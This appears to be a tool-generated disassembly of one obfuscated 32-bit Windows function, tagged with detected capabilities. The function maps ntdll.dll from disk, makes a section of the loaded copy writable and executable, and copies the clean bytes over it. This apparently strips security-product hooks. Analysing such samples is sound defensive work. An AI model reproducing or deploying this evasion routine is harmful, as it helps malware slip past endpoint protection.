Function at 0x40cd70
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x88
mov eax, dword [0x47d680]
xor eax, ebp
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041bc20
lea eax, [0x42ad78]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
lea eax, [ebp - 0x18]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x10
mov dword [ebp - 0x70], 0x8f8334f1
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x74], eax
sub eax, 0x83c3602f
je 0x40d649
jmp 0x40ce01
mov eax, dword [ebp - 0x74]
sub eax, 0x85bde425
je 0x40d7d5
jmp 0x40ce14
mov eax, dword [ebp - 0x74]
sub eax, 0x8d01bc8c
je 0x40d3ba
jmp 0x40ce27
mov eax, dword [ebp - 0x74]
sub eax, 0x8f8334f1
je 0x40d09f
jmp 0x40ce3a
mov eax, dword [ebp - 0x74]
sub eax, 0x9253a484
je 0x40d5fd
jmp 0x40ce4d
mov eax, dword [ebp - 0x74]
sub eax, 0x998af78c
je 0x40d615
jmp 0x40ce60
mov eax, dword [ebp - 0x74]
sub eax, 0xa31a77ec
je 0x40d360
jmp 0x40ce73
mov eax, dword [ebp - 0x74]
sub eax, 0xa7751235
je 0x40d1ec
jmp 0x40ce86
mov eax, dword [ebp - 0x74]
sub eax, 0xabb1a77f
je 0x40d256
jmp 0x40ce99
mov eax, dword [ebp - 0x74]
sub eax, 0xc2a419c0
je 0x40d2cf
jmp 0x40ceac
mov eax, dword [ebp - 0x74]
sub eax, 0xc9620f71
je 0x40d68e
jmp 0x40cebf
mov eax, dword [ebp - 0x74]
sub eax, 0xc98fdad9
je 0x40d629
jmp 0x40ced2
mov eax, dword [ebp - 0x74]
sub eax, 0xc9a3a463
je 0x40d26c
jmp 0x40cee5
mov eax, dword [ebp - 0x74]
sub eax, 0xcf9338b7
je 0x40d40d
jmp 0x40cef8
mov eax, dword [ebp - 0x74]
sub eax, 0xd053a55f
je 0x40d843
jmp 0x40cf0b
mov eax, dword [ebp - 0x74]
sub eax, 0xe2b02913
je 0x40d609
jmp 0x40cf1e
mov eax, dword [ebp - 0x74]
sub eax, 0xe553ac50
je 0x40d655
jmp 0x40cf31
mov eax, dword [ebp - 0x74]
sub eax, 0xecf4d932
je 0x40d756
jmp 0x40cf44
mov eax, dword [ebp - 0x74]
sub eax, 0xefc8c300
je 0x40d84f
jmp 0x40cf57
mov eax, dword [ebp - 0x74]
sub eax, 0xf424cda8
je 0x40d419
jmp 0x40cf6a
mov eax, dword [ebp - 0x74]
sub eax, 0x893441a
je 0x40d565
jmp 0x40cf7d
mov eax, dword [ebp - 0x74]
sub eax, 0x19b3c5f7
je 0x40d823
jmp 0x40cf90
mov eax, dword [ebp - 0x74]
sub eax, 0x20be264b
je 0x40d5f1
jmp 0x40cfa3
mov eax, dword [ebp - 0x74]
sub eax, 0x37002091
je 0x40d8b0
jmp 0x40cfb6
mov eax, dword [ebp - 0x74]
sub eax, 0x3c491504
je 0x40d85e
jmp 0x40cfc9
mov eax, dword [ebp - 0x74]
sub eax, 0x3e932dd5
je 0x40d4fa
jmp 0x40cfdc
mov eax, dword [ebp - 0x74]
sub eax, 0x3ee58425
je 0x40d36c
jmp 0x40cfef
mov eax, dword [ebp - 0x74]
sub eax, 0x3f99515f
je 0x40d762
jmp 0x40d002
mov eax, dword [ebp - 0x74]
sub eax, 0x48cf1205
je 0x40d8cb
jmp 0x40d015
mov eax, dword [ebp - 0x74]
sub eax, 0x4b93819c
je 0x40d701
jmp 0x40d028
mov eax, dword [ebp - 0x74]
sub eax, 0x4cad86e3
je 0x40d45e
jmp 0x40d03b
mov eax, dword [ebp - 0x74]
sub eax, 0x50a51696
je 0x40d19e
jmp 0x40d04e
mov eax, dword [ebp - 0x74]
sub eax, 0x652f9494
je 0x40d24a
jmp 0x40d061
mov eax, dword [ebp - 0x74]
sub eax, 0x7b96a985
je 0x40d837
jmp 0x40d074
mov eax, dword [ebp - 0x74]
sub eax, 0x7df705e2
je 0x40d289
jmp 0x40d087
mov eax, dword [ebp - 0x74]
sub eax, 0x7e986e6b
je 0x40d186
jmp 0x40d09a
jmp 0x40d8d2
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx + 0x3c]
sub eax, 0xfa6726a5
add eax, ecx
add eax, 0xfa6726a5
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x70], 0x7e986e6b
jmp 0x40d8d2
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x60], eax
mov word [ebp - 0x62], 0
mov dword [ebp - 0x70], 0x50a51696
jmp 0x40d8d2
mov eax, dword [0x47eb04]
mov ecx, dword [0x47eb00]
mov edx, eax
add edx, 0x25a44388
sub edx, 1
sub edx, 0x25a44388
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b96a985
mov ecx, 0xa7751235
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
movzx eax, word [ebp - 0x62]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x60]
add eax, 4
mov dword [ebp - 0x38], eax
mov eax, dword [0x47eb04]
mov ecx, dword [0x47eb00]
mov edx, eax
add edx, 0x493a91b5
sub edx, 1
sub edx, 0x493a91b5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b96a985
mov ecx, 0x652f9494
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov dword [ebp - 0x70], 0xabb1a77f
jmp 0x40d8d2
mov eax, dword [ebp - 0x38]
movzx eax, word [eax + 2]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x70], 0xc9a3a463
jmp 0x40d8d2
mov edx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x34]
mov eax, 0xe553ac50
mov ecx, 0x7df705e2
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov eax, dword [0x47eb04]
mov ecx, dword [0x47eb00]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd053a55f
mov ecx, 0xc2a419c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov eax, dword [ebp - 0x60]
sub eax, 0x582dd1ad
add eax, 0x18
add eax, 0x582dd1ad
mov ecx, dword [ebp - 0x60]
movzx ecx, word [ecx + 0x14]
add eax, 0xed389606
add eax, ecx
sub eax, 0xed389606
mov dword [ebp - 0x30], eax
mov ecx, dword [0x47eb04]
mov eax, dword [0x47eb00]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd053a55f
mov ecx, 0xa31a77ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov dword [ebp - 0x70], 0x3ee58425
jmp 0x40d8d2
mov eax, dword [0x47eb04]
mov ecx, dword [0x47eb00]
mov edx, eax
sub edx, 0xce651510
sub edx, 1
add edx, 0xce651510
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xefc8c300
mov ecx, 0x8d01bc8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
movzx eax, word [ebp - 0x62]
mov dword [ebp - 0x28], eax
mov eax, dword [0x47eb04]
mov ecx, dword [0x47eb00]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xefc8c300
mov ecx, 0xcf9338b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov dword [ebp - 0x70], 0xf424cda8
jmp 0x40d8d2
mov eax, dword [ebp - 0x28]
imul ecx, eax, 0x28
mov eax, dword [ebp - 0x2c]
add eax, 0x370cd2d9
add eax, ecx
sub eax, 0x370cd2d9
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x68]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42ada0
call fcn.0041f520
mov edx, eax
mov eax, 0x4cad86e3
mov ecx, 0xe2b02913
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0xc]
add edx, 0x4de89431
add edx, eax
sub edx, 0x4de89431
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x69], al
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0xc]
add edx, 0x9b3773ab
add edx, eax
sub edx, 0x9b3773ab
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x68]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
sub ecx, eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 8]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041bd80
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x70], 0x3e932dd5
jmp 0x40d8d2
mov ecx, dword [0x47eb04]
mov eax, dword [0x47eb00]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3c491504
mov ecx, 0x893441a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov eax, dword [ebp - 0x68]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
sub esi, eax
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x69], al
mov eax, dword [0x47eb04]
mov ecx, dword [0x47eb00]
mov edx, eax
add edx, 0x45a91a9b
sub edx, 1
sub edx, 0x45a91a9b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c491504
mov ecx, 0x20be264b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov dword [ebp - 0x70], 0x9253a484
jmp 0x40d8d2
mov dword [ebp - 0x70], 0xe2b02913
jmp 0x40d8d2
mov dword [ebp - 0x70], 0x998af78c
jmp 0x40d8d2
mov ax, word [ebp - 0x62]
mov word [ebp - 0x1e], ax
mov dword [ebp - 0x70], 0xc98fdad9
jmp 0x40d8d2
mov ax, word [ebp - 0x1e]
add ax, 0x28d
add ax, 1
sub ax, 0x28d
mov word [ebp - 0x62], ax
mov dword [ebp - 0x70], 0x83c3602f
jmp 0x40d8d2
mov dword [ebp - 0x70], 0x50a51696
jmp 0x40d8d2
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x70], 0xc9620f71
jmp 0x40d8d2
mov ecx, dword [0x47eb04]
mov eax, dword [0x47eb00]
mov edx, ecx
sub edx, 0x407de27a
sub edx, 1
add edx, 0x407de27a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x37002091
mov ecx, 0x4b93819c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov eax, dword [0x47eb04]
mov ecx, dword [0x47eb00]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37002091
mov ecx, 0xecf4d932
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov dword [ebp - 0x70], 0x3f99515f
jmp 0x40d8d2
mov ecx, dword [0x47eb04]
mov eax, dword [0x47eb00]
mov edx, ecx
add edx, 0xf99c7e6f
sub edx, 1
sub edx, 0xf99c7e6f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x48cf1205
mov ecx, 0x85bde425
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov eax, dword [0x47eb04]
mov ecx, dword [0x47eb00]
mov edx, eax
add edx, 0x238eec26
sub edx, 1
sub edx, 0x238eec26
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x48cf1205
mov ecx, 0x19b3c5f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x70], eax
jmp 0x40d8d2
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041af30
add esp, 0x88
pop esi
pop ebx
pop ebp
ret
mov dword [ebp - 0x70], 0xa7751235
jmp 0x40d8d2
mov dword [ebp - 0x70], 0xc2a419c0
jmp 0x40d8d2
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x70], 0x8d01bc8c
jmp 0x40d8d2
mov eax, dword [ebp - 0x68]
mov edx, dword [eax + 8]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x68]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, esi
add eax, ecx
xor esi, esi
sub esi, eax
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x69], al
mov dword [ebp - 0x70], 0x893441a
jmp 0x40d8d2
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov dword [ebp - 0x70], 0x4b93819c
jmp 0x40d8d2
mov dword [ebp - 0x70], 0x85bde425
jmp 0x40cdeb